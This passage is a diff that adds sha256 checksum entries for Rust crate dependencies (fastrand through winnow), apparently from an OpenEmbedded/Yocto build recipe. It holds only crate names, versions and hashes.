+SRC_URI[fastrand-2.0.1.sha256sum] = "25cbce373ec4653f1a01a31e8a5e5ec0c622dc27ff9c4e6606eefef5cbbed4a5"
+SRC_URI[fdeflate-0.3.1.sha256sum] = "64d6dafc854908ff5da46ff3f8f473c6984119a2876a383a860246dd7841a868"
+SRC_URI[flate2-1.0.28.sha256sum] = "46303f565772937ffe1d394a4fac6f411c6013172fadde9dcdb1e147a086940e"
+SRC_URI[float-cmp-0.9.0.sha256sum] = "98de4bbd547a563b716d8dfa9aad1cb19bfab00f4fa09a6a4ed21dbcf44ce9c4"
+SRC_URI[fnv-1.0.7.sha256sum] = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1"
+SRC_URI[form_urlencoded-1.2.1.sha256sum] = "e13624c2627564efccf4934284bdd98cbaa14e79b0b5a141218e507b3a823456"
+SRC_URI[futf-0.1.5.sha256sum] = "df420e2e84819663797d1ec6544b13c5be84629e7bb00dc960d6917db2987843"
+SRC_URI[futures-channel-0.3.29.sha256sum] = "ff4dd66668b557604244583e3e1e1eada8c5c2e96a6d0d6653ede395b78bbacb"
+SRC_URI[futures-core-0.3.29.sha256sum] = "eb1d22c66e66d9d72e1758f0bd7d4fd0bee04cad842ee34587d68c07e45d088c"
+SRC_URI[futures-executor-0.3.29.sha256sum] = "0f4fb8693db0cf099eadcca0efe2a5a22e4550f98ed16aba6c48700da29597bc"
+SRC_URI[futures-io-0.3.29.sha256sum] = "8bf34a163b5c4c52d0478a4d757da8fb65cabef42ba90515efee0f6f9fa45aaa"
+SRC_URI[futures-macro-0.3.29.sha256sum] = "53b153fd91e4b0147f4aced87be237c98248656bb01050b96bf3ee89220a8ddb"
+SRC_URI[futures-task-0.3.29.sha256sum] = "efd193069b0ddadc69c46389b740bbccdd97203899b48d09c5f7969591d6bae2"
+SRC_URI[futures-util-0.3.29.sha256sum] = "a19526d624e703a3179b3d322efec918b6246ea0fa51d41124525f00f1cc8104"
+SRC_URI[fxhash-0.2.1.sha256sum] = "c31b6d751ae2c7f11320402d34e41349dd1016f8d5d45e48c4312bc8625af50c"
+SRC_URI[gdk-pixbuf-0.18.3.sha256sum] = "446f32b74d22c33b7b258d4af4ffde53c2bf96ca2e29abdf1a785fe59bd6c82c"
+SRC_URI[gdk-pixbuf-sys-0.18.0.sha256sum] = "3f9839ea644ed9c97a34d129ad56d38a25e6756f99f3a88e15cd39c20629caf7"
+SRC_URI[getrandom-0.2.11.sha256sum] = "fe9006bed769170c11f845cf00c7c1e9092aeb3f268e007c3e760ac68008070f"
+SRC_URI[gio-0.18.4.sha256sum] = "d4fc8f532f87b79cbc51a79748f16a6828fb784be93145a322fa14d06d354c73"
+SRC_URI[gio-sys-0.18.1.sha256sum] = "37566df850baf5e4cb0dfb78af2e4b9898d817ed9263d1090a2df958c64737d2"
+SRC_URI[glib-0.18.4.sha256sum] = "951bbd7fdc5c044ede9f05170f05a3ae9479239c3afdfe2d22d537a3add15c4e"
+SRC_URI[glib-macros-0.18.3.sha256sum] = "72793962ceece3863c2965d7f10c8786323b17c7adea75a515809fa20ab799a5"
+SRC_URI[glib-sys-0.18.1.sha256sum] = "063ce2eb6a8d0ea93d2bf8ba1957e78dbab6be1c2220dd3daca57d5a9d869898"
+SRC_URI[gobject-sys-0.18.0.sha256sum] = "0850127b514d1c4a4654ead6dedadb18198999985908e6ffe4436f53c785ce44"
+SRC_URI[half-1.8.2.sha256sum] = "eabb4a44450da02c90444cf74558da904edde8fb4e9035a9a6a4e15445af0bd7"
+SRC_URI[hashbrown-0.14.3.sha256sum] = "290f1a1d9242c78d09ce40a5e87e7554ee637af1351968159f4952f028f75604"
+SRC_URI[heck-0.4.1.sha256sum] = "95505c38b4572b2d910cecb0281560f54b440a19336cbbcb27bf6ce6adc6f5a8"
+SRC_URI[hermit-abi-0.3.3.sha256sum] = "d77f7ec81a6d05a3abb01ab6eb7590f6083d08449fe5a1c8b1e620283546ccb7"
+SRC_URI[iana-time-zone-0.1.58.sha256sum] = "8326b86b6cff230b97d0d312a6c40a60726df3332e721f72a1b035f451663b20"
+SRC_URI[iana-time-zone-haiku-0.1.2.sha256sum] = "f31827a206f56af32e590ba56d5d2d085f558508192593743f16b2306495269f"
+SRC_URI[idna-0.5.0.sha256sum] = "634d9b1461af396cad843f47fdba5597a4f9e6ddd4bfb6ff5d85028c25cb12f6"
+SRC_URI[indexmap-2.1.0.sha256sum] = "d530e1a18b1cb4c484e6e34556a0d948706958449fca0cab753d649f2bce3d1f"
+SRC_URI[is-terminal-0.4.9.sha256sum] = "cb0889898416213fab133e1d33a0e5858a48177452750691bde3666d0fdbaf8b"
+SRC_URI[itertools-0.10.5.sha256sum] = "b0fd2260e829bddf4cb6ea802289de2f86d6a7a690192fbe91b3f46e0f2c8473"
+SRC_URI[itertools-0.11.0.sha256sum] = "b1c173a5686ce8bfa551b3563d0c2170bf24ca44da99c7ca4bfdab5418c3fe57"
+SRC_URI[itoa-1.0.10.sha256sum] = "b1a46d1a171d865aa5f83f92695765caa047a9b4cbae2cbf37dbd613a793fd4c"
+SRC_URI[js-sys-0.3.66.sha256sum] = "cee9c64da59eae3b50095c18d3e74f8b73c0b86d2792824ff01bbce68ba229ca"
+SRC_URI[language-tags-0.3.2.sha256sum] = "d4345964bb142484797b161f473a503a434de77149dd8c7427788c6e13379388"
+SRC_URI[lazy_static-1.4.0.sha256sum] = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646"
+SRC_URI[libc-0.2.151.sha256sum] = "302d7ab3130588088d277783b1e2d2e10c9e9e4a16dd9050e6ec93fb3e7048f4"
+SRC_URI[libloading-0.8.1.sha256sum] = "c571b676ddfc9a8c12f1f3d3085a7b163966a8fd8098a90640953ce5f6170161"
+SRC_URI[libm-0.2.8.sha256sum] = "4ec2a862134d2a7d32d7983ddcdd1c4923530833c9f2ea1a44fc5fa473989058"
+SRC_URI[linked-hash-map-0.5.6.sha256sum] = "0717cef1bc8b636c6e1c1bbdefc09e6322da8a9321966e8928ef80d20f7f770f"
+SRC_URI[linux-raw-sys-0.4.12.sha256sum] = "c4cd1a83af159aa67994778be9070f0ae1bd732942279cabb14f86f986a21456"
+SRC_URI[locale_config-0.3.0.sha256sum] = "08d2c35b16f4483f6c26f0e4e9550717a2f6575bcd6f12a53ff0c490a94a6934"
+SRC_URI[lock_api-0.4.11.sha256sum] = "3c168f8615b12bc01f9c17e2eb0cc07dcae1940121185446edc3744920e8ef45"
+SRC_URI[log-0.4.20.sha256sum] = "b5e6163cb8c49088c2c36f57875e58ccd8c87c7427f7fbd50ea6710b2f3f2e8f"
+SRC_URI[lopdf-0.31.0.sha256sum] = "07c8e1b6184b1b32ea5f72f572ebdc40e5da1d2921fa469947ff7c480ad1f85a"
+SRC_URI[mac-0.1.1.sha256sum] = "c41e0c4fef86961ac6d6f8a82609f55f31b05e4fce149ac5710e439df7619ba4"
+SRC_URI[malloc_buf-0.0.6.sha256sum] = "62bb907fe88d54d8d9ce32a3cceab4218ed2f6b7d35617cafe9adf84e43919cb"
+SRC_URI[markup5ever-0.11.0.sha256sum] = "7a2629bb1404f3d34c2e921f21fd34ba00b206124c81f65c50b43b6aaefeb016"
+SRC_URI[matches-0.1.10.sha256sum] = "2532096657941c2fea9c289d370a250971c689d4f143798ff67113ec042024a5"
+SRC_URI[matrixmultiply-0.3.8.sha256sum] = "7574c1cf36da4798ab73da5b215bbf444f50718207754cb522201d78d1cd0ff2"
+SRC_URI[md5-0.7.0.sha256sum] = "490cc448043f947bae3cbee9c203358d62dbee0db12107a74be5c30ccfd09771"
+SRC_URI[memchr-2.6.4.sha256sum] = "f665ee40bc4a3c5590afb1e9677db74a508659dfd71e126420da8274909a0167"
+SRC_URI[memoffset-0.9.0.sha256sum] = "5a634b1c61a95585bd15607c6ab0c4e5b226e695ff2800ba0cdccddf208c406c"
+SRC_URI[minimal-lexical-0.2.1.sha256sum] = "68354c5c6bd36d73ff3feceb05efa59b6acb7626617f4962be322a825e61f79a"
+SRC_URI[miniz_oxide-0.7.1.sha256sum] = "e7810e0be55b428ada41041c41f32c9f1a42817901b4ccf45fa3d4b6561e74c7"
+SRC_URI[nalgebra-0.32.3.sha256sum] = "307ed9b18cc2423f29e83f84fd23a8e73628727990181f18641a8b5dc2ab1caa"
+SRC_URI[nalgebra-macros-0.2.1.sha256sum] = "91761aed67d03ad966ef783ae962ef9bbaca728d2dd7ceb7939ec110fffad998"
+SRC_URI[new_debug_unreachable-1.0.4.sha256sum] = "e4a24736216ec316047a1fc4252e27dabb04218aa4a3f37c6e7ddbf1f9782b54"
+SRC_URI[nom-7.1.3.sha256sum] = "d273983c5a657a70a3e8f2a01329822f3b8c8172b73826411a55751e404a0a4a"
+SRC_URI[normalize-line-endings-0.3.0.sha256sum] = "61807f77802ff30975e01f4f071c8ba10c022052f98b3294119f3e615d13e5be"
+SRC_URI[num-complex-0.4.4.sha256sum] = "1ba157ca0885411de85d6ca030ba7e2a83a28636056c7c699b07c8b6f7383214"
+SRC_URI[num-integer-0.1.45.sha256sum] = "225d3389fb3509a24c93f5c29eb6bde2586b98d9f016636dff58d7c6f7569cd9"
+SRC_URI[num-rational-0.4.1.sha256sum] = "0638a1c9d0a3c0914158145bc76cff373a75a627e6ecbfb71cbe6f453a5a19b0"
+SRC_URI[num-traits-0.2.17.sha256sum] = "39e3200413f237f41ab11ad6d161bc7239c84dcb631773ccd7de3dfe4b5c267c"
+SRC_URI[objc-0.2.7.sha256sum] = "915b1b472bc21c53464d6c8461c9d3af805ba1ef837e1cac254428f4a77177b1"
+SRC_URI[objc-foundation-0.1.1.sha256sum] = "1add1b659e36c9607c7aab864a76c7a4c2760cd0cd2e120f3fb8b952c7e22bf9"
+SRC_URI[objc_id-0.1.1.sha256sum] = "c92d4ddb4bd7b50d730c215ff871754d0da6b2178849f8a2a2ab69712d0c073b"
+SRC_URI[once_cell-1.19.0.sha256sum] = "3fdb12b2476b595f9358c5161aa467c2438859caa136dec86c26fdd2efe17b92"
+SRC_URI[oorandom-11.1.3.sha256sum] = "0ab1bc2a289d34bd04a330323ac98a1b4bc82c9d9fcb1e66b63caa84da26b575"
+SRC_URI[pango-0.18.3.sha256sum] = "7ca27ec1eb0457ab26f3036ea52229edbdb74dee1edd29063f5b9b010e7ebee4"
+SRC_URI[pango-sys-0.18.0.sha256sum] = "436737e391a843e5933d6d9aa102cb126d501e815b83601365a948a518555dc5"
+SRC_URI[pangocairo-0.18.0.sha256sum] = "57036589a9cfcacf83f9e606d15813fc6bf03f0e9e69aa2b5e3bb85af86b38a5"
+SRC_URI[pangocairo-sys-0.18.0.sha256sum] = "fc3c8ff676a37e7a72ec1d5fc029f91c407278083d2752784ff9f5188c108833"
+SRC_URI[parking_lot-0.12.1.sha256sum] = "3742b2c103b9f06bc9fff0a37ff4912935851bee6d36f3c02bcc755bcfec228f"
+SRC_URI[parking_lot_core-0.9.9.sha256sum] = "4c42a9226546d68acdd9c0a280d17ce19bfe27a46bf68784e4066115788d008e"
+SRC_URI[paste-1.0.14.sha256sum] = "de3145af08024dea9fa9914f381a17b8fc6034dfb00f3a84013f7ff43f29ed4c"
+SRC_URI[percent-encoding-2.3.1.sha256sum] = "e3148f5046208a5d56bcfc03053e3ca6334e51da8dfb19b6cdc8b306fae3283e"
+SRC_URI[phf-0.10.1.sha256sum] = "fabbf1ead8a5bcbc20f5f8b939ee3f5b0f6f281b6ad3468b84656b658b455259"
+SRC_URI[phf-0.11.2.sha256sum] = "ade2d8b8f33c7333b51bcf0428d37e217e9f32192ae4772156f65063b8ce03dc"
+SRC_URI[phf_codegen-0.10.0.sha256sum] = "4fb1c3a8bc4dd4e5cfce29b44ffc14bedd2ee294559a294e2a4d4c9e9a6a13cd"
+SRC_URI[phf_generator-0.10.0.sha256sum] = "5d5285893bb5eb82e6aaf5d59ee909a06a16737a8970984dd7746ba9283498d6"
+SRC_URI[phf_generator-0.11.2.sha256sum] = "48e4cc64c2ad9ebe670cb8fd69dd50ae301650392e81c05f9bfcb2d5bdbc24b0"
+SRC_URI[phf_macros-0.11.2.sha256sum] = "3444646e286606587e49f3bcf1679b8cef1dc2c5ecc29ddacaffc305180d464b"
+SRC_URI[phf_shared-0.10.0.sha256sum] = "b6796ad771acdc0123d2a88dc428b5e38ef24456743ddb1744ed628f9815c096"
+SRC_URI[phf_shared-0.11.2.sha256sum] = "90fcb95eef784c2ac79119d1dd819e162b5da872ce6f3c3abe1e8ca1c082f72b"
+SRC_URI[pin-project-lite-0.2.13.sha256sum] = "8afb450f006bf6385ca15ef45d71d2288452bc3683ce2e2cacc0d18e4be60b58"
+SRC_URI[pin-utils-0.1.0.sha256sum] = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184"
+SRC_URI[pkg-config-0.3.27.sha256sum] = "26072860ba924cbfa98ea39c8c19b4dd6a4a25423dbdf219c1eca91aa0cf6964"
+SRC_URI[plotters-0.3.5.sha256sum] = "d2c224ba00d7cadd4d5c660deaf2098e5e80e07846537c51f9cfa4be50c1fd45"
+SRC_URI[plotters-backend-0.3.5.sha256sum] = "9e76628b4d3a7581389a35d5b6e2139607ad7c75b17aed325f210aa91f4a9609"
+SRC_URI[plotters-svg-0.3.5.sha256sum] = "38f6d39893cca0701371e3c27294f09797214b86f1fb951b89ade8ec04e2abab"
+SRC_URI[png-0.17.10.sha256sum] = "dd75bf2d8dd3702b9707cdbc56a5b9ef42cec752eb8b3bafc01234558442aa64"
+SRC_URI[powerfmt-0.2.0.sha256sum] = "439ee305def115ba05938db6eb1644ff94165c5ab5e9420d1c1bcedbba909391"
+SRC_URI[ppv-lite86-0.2.17.sha256sum] = "5b40af805b3121feab8a3c29f04d8ad262fa8e0561883e7653e024ae4479e6de"
+SRC_URI[precomputed-hash-0.1.1.sha256sum] = "925383efa346730478fb4838dbe9137d2a47675ad789c546d150a6e1dd4ab31c"
+SRC_URI[predicates-3.0.4.sha256sum] = "6dfc28575c2e3f19cb3c73b93af36460ae898d426eba6fc15b9bd2a5220758a0"
+SRC_URI[predicates-core-1.0.6.sha256sum] = "b794032607612e7abeb4db69adb4e33590fa6cf1149e95fd7cb00e634b92f174"
+SRC_URI[predicates-tree-1.0.9.sha256sum] = "368ba315fb8c5052ab692e68a0eefec6ec57b23a36959c14496f0b0df2c0cecf"
+SRC_URI[proc-macro-crate-2.0.1.sha256sum] = "97dc5fea232fc28d2f597b37c4876b348a40e33f3b02cc975c8d006d78d94b1a"
+SRC_URI[proc-macro-error-1.0.4.sha256sum] = "da25490ff9892aab3fcf7c36f08cfb902dd3e71ca0f9f9517bea02a73a5ce38c"
+SRC_URI[proc-macro-error-attr-1.0.4.sha256sum] = "a1be40180e52ecc98ad80b184934baf3d0d29f979574e439af5a55274b35f869"
+SRC_URI[proc-macro2-1.0.70.sha256sum] = "39278fbbf5fb4f646ce651690877f89d1c5811a3d4acb27700c1cb3cdb78fd3b"
+SRC_URI[proptest-1.4.0.sha256sum] = "31b476131c3c86cb68032fdc5cb6d5a1045e3e42d96b69fa599fd77701e1f5bf"
+SRC_URI[quick-error-1.2.3.sha256sum] = "a1d01941d82fa2ab50be1e79e6714289dd7cde78eba4c074bc5a4374f650dfe0"
+SRC_URI[quick-error-2.0.1.sha256sum] = "a993555f31e5a609f617c12db6250dedcac1b0a85076912c436e6fc9b2c8e6a3"
+SRC_URI[quote-1.0.33.sha256sum] = "5267fca4496028628a95160fc423a33e8b2e6af8a5302579e322e4b520293cae"
+SRC_URI[rand-0.8.5.sha256sum] = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404"
+SRC_URI[rand_chacha-0.3.1.sha256sum] = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88"
+SRC_URI[rand_core-0.6.4.sha256sum] = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c"
+SRC_URI[rand_xorshift-0.3.0.sha256sum] = "d25bf25ec5ae4a3f1b92f929810509a2f53d7dca2f50b794ff57e3face536c8f"
+SRC_URI[rawpointer-0.2.1.sha256sum] = "60a357793950651c4ed0f3f52338f53b2f809f32d83a07f72909fa13e4c6c1e3"
+SRC_URI[rayon-1.8.0.sha256sum] = "9c27db03db7734835b3f53954b534c91069375ce6ccaa2e065441e07d9b6cdb1"
+SRC_URI[rayon-core-1.12.0.sha256sum] = "5ce3fb6ad83f861aac485e76e1985cd109d9a3713802152be56c3b1f0e0658ed"
+SRC_URI[rctree-0.5.0.sha256sum] = "3b42e27ef78c35d3998403c1d26f3efd9e135d3e5121b0a4845cc5cc27547f4f"
+SRC_URI[redox_syscall-0.4.1.sha256sum] = "4722d768eff46b75989dd134e5c353f0d6296e5aaa3132e776cbdb56be7731aa"
+SRC_URI[regex-1.10.2.sha256sum] = "380b951a9c5e80ddfd6136919eef32310721aa4aacd4889a8d39124b026ab343"
+SRC_URI[regex-automata-0.4.3.sha256sum] = "5f804c7828047e88b2d32e2d7fe5a105da8ee3264f01902f796c8e067dc2483f"
+SRC_URI[regex-syntax-0.8.2.sha256sum] = "c08c74e62047bb2de4ff487b251e4a92e24f48745648451635cec7d591162d9f"
+SRC_URI[rgb-0.8.37.sha256sum] = "05aaa8004b64fd573fc9d002f4e632d51ad4f026c2b5ba95fcb6c2f32c2c47d8"
+SRC_URI[rustix-0.38.28.sha256sum] = "72e572a5e8ca657d7366229cdde4bd14c4eb5499a9573d4d366fe1b599daa316"
+SRC_URI[rusty-fork-0.3.0.sha256sum] = "cb3dcc6e454c328bb824492db107ab7c0ae8fcffe4ad210136ef014458c1bc4f"
+SRC_URI[ryu-1.0.16.sha256sum] = "f98d2aa92eebf49b69786be48e4477826b256916e84a57ff2a4f21923b48eb4c"
+SRC_URI[safe_arch-0.7.1.sha256sum] = "f398075ce1e6a179b46f51bd88d0598b92b00d3551f1a2d4ac49e771b56ac354"
+SRC_URI[same-file-1.0.6.sha256sum] = "93fc1dc3aaa9bfed95e02e6eadabb4baf7e3078b0bd1b4d7b6b0b68378900502"
+SRC_URI[scopeguard-1.2.0.sha256sum] = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49"
+SRC_URI[selectors-0.25.0.sha256sum] = "4eb30575f3638fc8f6815f448d50cb1a2e255b0897985c8c59f4d37b72a07b06"
+SRC_URI[serde-1.0.193.sha256sum] = "25dd9975e68d0cb5aa1120c288333fc98731bd1dd12f561e468ea4728c042b89"
+SRC_URI[serde_derive-1.0.193.sha256sum] = "43576ca501357b9b071ac53cdc7da8ef0cbd9493d8df094cd821777ea6e894d3"
+SRC_URI[serde_json-1.0.108.sha256sum] = "3d1c7e3eac408d115102c4c24ad393e0821bb3a5df4d506a80f85f7a742a526b"
+SRC_URI[serde_spanned-0.6.4.sha256sum] = "12022b835073e5b11e90a14f86838ceb1c8fb0325b72416845c487ac0fa95e80"
+SRC_URI[servo_arc-0.3.0.sha256sum] = "d036d71a959e00c77a63538b90a6c2390969f9772b096ea837205c6bd0491a44"
+SRC_URI[simba-0.8.1.sha256sum] = "061507c94fc6ab4ba1c9a0305018408e312e17c041eb63bef8aa726fa33aceae"
+SRC_URI[simd-adler32-0.3.7.sha256sum] = "d66dc143e6b11c1eddc06d5c423cfc97062865baf299914ab64caa38182078fe"
+SRC_URI[siphasher-0.3.11.sha256sum] = "38b58827f4464d87d377d175e90bf58eb00fd8716ff0a62f80356b5e61555d0d"
+SRC_URI[slab-0.4.9.sha256sum] = "8f92a496fb766b417c996b9c5e57daf2f7ad3b0bebe1ccfca4856390e3d3bb67"
+SRC_URI[smallvec-1.11.2.sha256sum] = "4dccd0940a2dcdf68d092b8cbab7dc0ad8fa938bf95787e1b916b0e3d0e8e970"
+SRC_URI[stable_deref_trait-1.2.0.sha256sum] = "a8f112729512f8e442d81f95a8a7ddf2b7c6b8a1a6f509a95864142b30cab2d3"
+SRC_URI[string_cache-0.8.7.sha256sum] = "f91138e76242f575eb1d3b38b4f1362f10d3a43f47d182a5b359af488a02293b"
+SRC_URI[string_cache_codegen-0.5.2.sha256sum] = "6bb30289b722be4ff74a408c3cc27edeaad656e06cb1fe8fa9231fa59c728988"
+SRC_URI[strsim-0.10.0.sha256sum] = "73473c0e59e6d5812c5dfe2a064a6444949f089e20eec9a2e5506596494e4623"
+SRC_URI[syn-1.0.109.sha256sum] = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237"
+SRC_URI[syn-2.0.41.sha256sum] = "44c8b28c477cc3bf0e7966561e3460130e1255f7a1cf71931075f1c5e7a7e269"
+SRC_URI[system-deps-6.2.0.sha256sum] = "2a2d580ff6a20c55dfb86be5f9c238f67835d0e81cbdea8bf5680e0897320331"
+SRC_URI[target-lexicon-0.12.12.sha256sum] = "14c39fd04924ca3a864207c66fc2cd7d22d7c016007f9ce846cbb9326331930a"
+SRC_URI[tempfile-3.8.1.sha256sum] = "7ef1adac450ad7f4b3c28589471ade84f25f731a7a0fe30d71dfa9f60fd808e5"
+SRC_URI[tendril-0.4.3.sha256sum] = "d24a120c5fc464a3458240ee02c299ebcb9d67b5249c8848b09d639dca8d7bb0"
+SRC_URI[termtree-0.4.1.sha256sum] = "3369f5ac52d5eb6ab48c6b4ffdc8efbcad6b89c765749064ba298f2c68a16a76"
+SRC_URI[thiserror-1.0.50.sha256sum] = "f9a7210f5c9a7156bb50aa36aed4c95afb51df0df00713949448cf9e97d382d2"
+SRC_URI[thiserror-impl-1.0.50.sha256sum] = "266b2e40bc00e5a6c09c3584011e08b06f123c00362c92b975ba9843aaaa14b8"
+SRC_URI[time-0.3.30.sha256sum] = "c4a34ab300f2dee6e562c10a046fc05e358b29f9bf92277f30c3c8d82275f6f5"
+SRC_URI[time-core-0.1.2.sha256sum] = "ef927ca75afb808a4d64dd374f00a2adf8d0fcff8e7b184af886c3c87ec4a3f3"
+SRC_URI[time-macros-0.2.15.sha256sum] = "4ad70d68dba9e1f8aceda7aa6711965dfec1cac869f311a51bd08b3a2ccbce20"
+SRC_URI[tinytemplate-1.2.1.sha256sum] = "be4d6b5f19ff7664e8c98d03e2139cb510db9b0a60b55f8e8709b689d939b6bc"
+SRC_URI[tinyvec-1.6.0.sha256sum] = "87cc5ceb3875bb20c2890005a4e226a4651264a5c75edb2421b52861a0a0cb50"
+SRC_URI[tinyvec_macros-0.1.1.sha256sum] = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20"
+SRC_URI[toml-0.8.2.sha256sum] = "185d8ab0dfbb35cf1399a6344d8484209c088f75f8f68230da55d48d95d43e3d"
+SRC_URI[toml_datetime-0.6.3.sha256sum] = "7cda73e2f1397b1262d6dfdcef8aafae14d1de7748d66822d3bfeeb6d03e5e4b"
+SRC_URI[toml_edit-0.20.2.sha256sum] = "396e4d48bbb2b7554c944bde63101b5ae446cff6ec4a24227428f15eb72ef338"
+SRC_URI[typenum-1.17.0.sha256sum] = "42ff0bf0c66b8238c6f3b578df37d0b7848e55df8577b3f74f92a69acceeb825"
+SRC_URI[unarray-0.1.4.sha256sum] = "eaea85b334db583fe3274d12b4cd1880032beab409c0d774be044d4480ab9a94"
+SRC_URI[unicode-bidi-0.3.14.sha256sum] = "6f2528f27a9eb2b21e69c95319b30bd0efd85d09c379741b0f78ea1d86be2416"
+SRC_URI[unicode-ident-1.0.12.sha256sum] = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b"
+SRC_URI[unicode-normalization-0.1.22.sha256sum] = "5c5713f0fc4b5db668a2ac63cdb7bb4469d8c9fed047b1d0292cc7b0ce2ba921"
+SRC_URI[url-2.5.0.sha256sum] = "31e6302e3bb753d46e83516cae55ae196fc0c309407cf11ab35cc51a4c2a4633"
+SRC_URI[utf-8-0.7.6.sha256sum] = "09cc8ee72d2a9becf2f2febe0205bbed8fc6615b7cb429ad062dc7b7ddd036a9"
+SRC_URI[utf8parse-0.2.1.sha256sum] = "711b9620af191e0cdc7468a8d14e709c3dcdb115b36f838e601583af800a370a"
+SRC_URI[version-compare-0.1.1.sha256sum] = "579a42fc0b8e0c63b76519a339be31bed574929511fa53c1a3acae26eb258f29"
+SRC_URI[version_check-0.9.4.sha256sum] = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f"
+SRC_URI[wait-timeout-0.2.0.sha256sum] = "9f200f5b12eb75f8c1ed65abd4b2db8a6e1b138a20de009dacee265a2498f3f6"
+SRC_URI[walkdir-2.4.0.sha256sum] = "d71d857dc86794ca4c280d616f7da00d2dbfd8cd788846559a6813e6aa4b54ee"
+SRC_URI[wasi-0.11.0+wasi-snapshot-preview1.sha256sum] = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423"
+SRC_URI[wasm-bindgen-0.2.89.sha256sum] = "0ed0d4f68a3015cc185aff4db9506a015f4b96f95303897bfa23f846db54064e"
+SRC_URI[wasm-bindgen-backend-0.2.89.sha256sum] = "1b56f625e64f3a1084ded111c4d5f477df9f8c92df113852fa5a374dbda78826"
+SRC_URI[wasm-bindgen-macro-0.2.89.sha256sum] = "0162dbf37223cd2afce98f3d0785506dcb8d266223983e4b5b525859e6e182b2"
+SRC_URI[wasm-bindgen-macro-support-0.2.89.sha256sum] = "f0eb82fcb7930ae6219a7ecfd55b217f5f0893484b7a13022ebb2b2bf20b5283"
+SRC_URI[wasm-bindgen-shared-0.2.89.sha256sum] = "7ab9b36309365056cd639da3134bf87fa8f3d86008abf99e612384a6eecd459f"
+SRC_URI[web-sys-0.3.66.sha256sum] = "50c24a44ec86bb68fbecd1b3efed7e85ea5621b39b35ef2766b66cd984f8010f"
+SRC_URI[weezl-0.1.7.sha256sum] = "9193164d4de03a926d909d3bc7c30543cecb35400c02114792c2cae20d5e2dbb"
+SRC_URI[wide-0.7.13.sha256sum] = "c68938b57b33da363195412cfc5fc37c9ed49aa9cfe2156fde64b8d2c9498242"
+SRC_URI[winapi-0.3.9.sha256sum] = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419"
+SRC_URI[winapi-i686-pc-windows-gnu-0.4.0.sha256sum] = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
+SRC_URI[winapi-util-0.1.6.sha256sum] = "f29e6f9198ba0d26b4c9f07dbe6f9ed633e1f3d5b8b414090084349e46a52596"
+SRC_URI[winapi-x86_64-pc-windows-gnu-0.4.0.sha256sum] = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
+SRC_URI[windows-core-0.51.1.sha256sum] = "f1f8cf84f35d2db49a46868f947758c7a1138116f7fac3bc844f43ade1292e64"
+SRC_URI[windows-sys-0.48.0.sha256sum] = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9"
+SRC_URI[windows-sys-0.52.0.sha256sum] = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d"
+SRC_URI[windows-targets-0.48.5.sha256sum] = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c"
+SRC_URI[windows-targets-0.52.0.sha256sum] = "8a18201040b24831fbb9e4eb208f8892e1f50a37feb53cc7ff887feb8f50e7cd"
+SRC_URI[windows_aarch64_gnullvm-0.48.5.sha256sum] = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8"
+SRC_URI[windows_aarch64_gnullvm-0.52.0.sha256sum] = "cb7764e35d4db8a7921e09562a0304bf2f93e0a51bfccee0bd0bb0b666b015ea"
+SRC_URI[windows_aarch64_msvc-0.48.5.sha256sum] = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc"
+SRC_URI[windows_aarch64_msvc-0.52.0.sha256sum] = "bbaa0368d4f1d2aaefc55b6fcfee13f41544ddf36801e793edbbfd7d7df075ef"
+SRC_URI[windows_i686_gnu-0.48.5.sha256sum] = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e"
+SRC_URI[windows_i686_gnu-0.52.0.sha256sum] = "a28637cb1fa3560a16915793afb20081aba2c92ee8af57b4d5f28e4b3e7df313"
+SRC_URI[windows_i686_msvc-0.48.5.sha256sum] = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406"
+SRC_URI[windows_i686_msvc-0.52.0.sha256sum] = "ffe5e8e31046ce6230cc7215707b816e339ff4d4d67c65dffa206fd0f7aa7b9a"
+SRC_URI[windows_x86_64_gnu-0.48.5.sha256sum] = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e"
+SRC_URI[windows_x86_64_gnu-0.52.0.sha256sum] = "3d6fa32db2bc4a2f5abeacf2b69f7992cd09dca97498da74a151a3132c26befd"
+SRC_URI[windows_x86_64_gnullvm-0.48.5.sha256sum] = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc"
+SRC_URI[windows_x86_64_gnullvm-0.52.0.sha256sum] = "1a657e1e9d3f514745a572a6846d3c7aa7dbe1658c056ed9c3344c4109a6949e"
+SRC_URI[windows_x86_64_msvc-0.48.5.sha256sum] = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538"
+SRC_URI[windows_x86_64_msvc-0.52.0.sha256sum] = "dff9641d1cd4be8d1a070daf9e3773c5f67e78b4d9d42263020c057706765c04"
+SRC_URI[winnow-0.5.28.sha256sum] = "6c830786f7720c2fd27a1a0e27a709dbd3c4d009b56d098fc742d4f4eab91fe2"
